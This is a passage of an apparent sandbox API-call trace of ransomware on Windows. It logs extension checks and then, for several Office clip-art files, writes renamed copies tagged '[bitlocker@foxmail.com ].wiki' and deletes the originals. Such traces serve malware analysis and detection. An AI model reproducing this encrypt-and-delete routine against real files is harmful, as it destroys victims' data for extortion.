lstrlenW (lpString=".bz2") returned 4 [0194.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.425] lstrlenW (lpString=".7z") returned 3 [0194.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0194.425] lstrlenW (lpString=".dbf") returned 4 [0194.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0194.425] lstrlenW (lpString=".1cd") returned 4 [0194.426] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0194.426] lstrlenW (lpString=".jpg") returned 4 [0194.426] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.426] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.426] lstrlenW (lpString="J0105912.WMF") returned 12 [0194.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.426] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=11720) returned 1 [0194.426] CloseHandle (hObject=0x220) returned 1 [0194.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf")) returned 0x20 [0194.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.427] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.427] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.427] GetLastError () returned 0x0 [0194.427] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x2dc8, lpOverlapped=0x0) returned 1 [0194.429] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2dd0, lpOverlapped=0x0) returned 1 [0194.430] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.430] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.430] SetEndOfFile (hFile=0x1f4) returned 1 [0194.430] CloseHandle (hObject=0x1f4) returned 1 [0194.430] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.430] SetEndOfFile (hFile=0x220) returned 1 [0194.431] CloseHandle (hObject=0x220) returned 1 [0194.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.431] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf")) returned 1 [0194.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0194.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0194.431] lstrlenW (lpString=".doc") returned 4 [0194.431] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.431] lstrlenW (lpString=".docx") returned 5 [0194.431] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.432] lstrlenW (lpString=".pdf") returned 4 [0194.432] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.432] lstrlenW (lpString=".xls") returned 4 [0194.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.432] lstrlenW (lpString=".xlsx") returned 5 [0194.432] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.432] lstrlenW (lpString=".ppt") returned 4 [0194.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0194.432] lstrlenW (lpString=".zip") returned 4 [0194.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.432] lstrlenW (lpString=".rar") returned 4 [0194.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.432] lstrlenW (lpString=".bz2") returned 4 [0194.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.432] lstrlenW (lpString=".7z") returned 3 [0194.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0194.432] lstrlenW (lpString=".dbf") returned 4 [0194.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0194.432] lstrlenW (lpString=".1cd") returned 4 [0194.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0194.432] lstrlenW (lpString=".jpg") returned 4 [0194.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0194.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0194.432] lstrlenW (lpString=".doc") returned 4 [0194.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.433] lstrlenW (lpString=".docx") returned 5 [0194.433] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.433] lstrlenW (lpString=".pdf") returned 4 [0194.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.433] lstrlenW (lpString=".xls") returned 4 [0194.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.433] lstrlenW (lpString=".xlsx") returned 5 [0194.433] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.433] lstrlenW (lpString=".ppt") returned 4 [0194.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0194.433] lstrlenW (lpString=".zip") returned 4 [0194.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.433] lstrlenW (lpString=".rar") returned 4 [0194.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.433] lstrlenW (lpString=".bz2") returned 4 [0194.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.433] lstrlenW (lpString=".7z") returned 3 [0194.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0194.433] lstrlenW (lpString=".dbf") returned 4 [0194.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0194.433] lstrlenW (lpString=".1cd") returned 4 [0194.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF") returned 63 [0194.433] lstrlenW (lpString=".jpg") returned 4 [0194.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.433] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.434] lstrlenW (lpString="J0105974.WMF") returned 12 [0194.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.434] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4612) returned 1 [0194.434] CloseHandle (hObject=0x220) returned 1 [0194.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf")) returned 0x20 [0194.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.434] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.434] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.435] GetLastError () returned 0x0 [0194.435] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1204, lpOverlapped=0x0) returned 1 [0194.437] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1210, lpOverlapped=0x0) returned 1 [0194.438] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.438] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.438] SetEndOfFile (hFile=0x1f4) returned 1 [0194.438] CloseHandle (hObject=0x1f4) returned 1 [0194.438] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.438] SetEndOfFile (hFile=0x220) returned 1 [0194.439] CloseHandle (hObject=0x220) returned 1 [0194.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf")) returned 1 [0194.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0194.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0194.439] lstrlenW (lpString=".doc") returned 4 [0194.439] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.439] lstrlenW (lpString=".docx") returned 5 [0194.439] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.439] lstrlenW (lpString=".pdf") returned 4 [0194.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.440] lstrlenW (lpString=".xls") returned 4 [0194.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.440] lstrlenW (lpString=".xlsx") returned 5 [0194.440] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.440] lstrlenW (lpString=".ppt") returned 4 [0194.440] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0194.440] lstrlenW (lpString=".zip") returned 4 [0194.440] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.440] lstrlenW (lpString=".rar") returned 4 [0194.440] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.440] lstrlenW (lpString=".bz2") returned 4 [0194.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.440] lstrlenW (lpString=".7z") returned 3 [0194.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0194.440] lstrlenW (lpString=".dbf") returned 4 [0194.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0194.440] lstrlenW (lpString=".1cd") returned 4 [0194.440] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0194.440] lstrlenW (lpString=".jpg") returned 4 [0194.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0194.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0194.440] lstrlenW (lpString=".doc") returned 4 [0194.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.441] lstrlenW (lpString=".docx") returned 5 [0194.441] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.441] lstrlenW (lpString=".pdf") returned 4 [0194.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.441] lstrlenW (lpString=".xls") returned 4 [0194.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.441] lstrlenW (lpString=".xlsx") returned 5 [0194.441] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.441] lstrlenW (lpString=".ppt") returned 4 [0194.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0194.441] lstrlenW (lpString=".zip") returned 4 [0194.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.441] lstrlenW (lpString=".rar") returned 4 [0194.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.441] lstrlenW (lpString=".bz2") returned 4 [0194.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.441] lstrlenW (lpString=".7z") returned 3 [0194.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0194.441] lstrlenW (lpString=".dbf") returned 4 [0194.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0194.441] lstrlenW (lpString=".1cd") returned 4 [0194.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0194.441] lstrlenW (lpString=".jpg") returned 4 [0194.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.441] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.442] lstrlenW (lpString="J0106020.WMF") returned 12 [0194.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.442] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=10060) returned 1 [0194.442] CloseHandle (hObject=0x220) returned 1 [0194.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf")) returned 0x20 [0194.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.442] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.442] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.443] GetLastError () returned 0x0 [0194.443] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x274c, lpOverlapped=0x0) returned 1 [0194.445] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2750, lpOverlapped=0x0) returned 1 [0194.446] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.446] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.446] SetEndOfFile (hFile=0x1f4) returned 1 [0194.447] CloseHandle (hObject=0x1f4) returned 1 [0194.447] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.447] SetEndOfFile (hFile=0x220) returned 1 [0194.447] CloseHandle (hObject=0x220) returned 1 [0194.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf")) returned 1 [0194.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0194.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0194.448] lstrlenW (lpString=".doc") returned 4 [0194.448] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.448] lstrlenW (lpString=".docx") returned 5 [0194.448] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.448] lstrlenW (lpString=".pdf") returned 4 [0194.448] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.448] lstrlenW (lpString=".xls") returned 4 [0194.448] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.448] lstrlenW (lpString=".xlsx") returned 5 [0194.448] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.448] lstrlenW (lpString=".ppt") returned 4 [0194.448] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0194.448] lstrlenW (lpString=".zip") returned 4 [0194.449] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.449] lstrlenW (lpString=".rar") returned 4 [0194.449] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.449] lstrlenW (lpString=".bz2") returned 4 [0194.449] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.449] lstrlenW (lpString=".7z") returned 3 [0194.449] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0194.449] lstrlenW (lpString=".dbf") returned 4 [0194.449] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0194.449] lstrlenW (lpString=".1cd") returned 4 [0194.449] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0194.449] lstrlenW (lpString=".jpg") returned 4 [0194.449] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0194.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0194.449] lstrlenW (lpString=".doc") returned 4 [0194.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.449] lstrlenW (lpString=".docx") returned 5 [0194.449] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.449] lstrlenW (lpString=".pdf") returned 4 [0194.449] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.449] lstrlenW (lpString=".xls") returned 4 [0194.449] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.449] lstrlenW (lpString=".xlsx") returned 5 [0194.449] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.450] lstrlenW (lpString=".ppt") returned 4 [0194.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0194.450] lstrlenW (lpString=".zip") returned 4 [0194.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.450] lstrlenW (lpString=".rar") returned 4 [0194.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.450] lstrlenW (lpString=".bz2") returned 4 [0194.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.450] lstrlenW (lpString=".7z") returned 3 [0194.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0194.450] lstrlenW (lpString=".dbf") returned 4 [0194.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0194.450] lstrlenW (lpString=".1cd") returned 4 [0194.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.450] lstrlenW (lpString="C:\\Program Files\\Microsoft 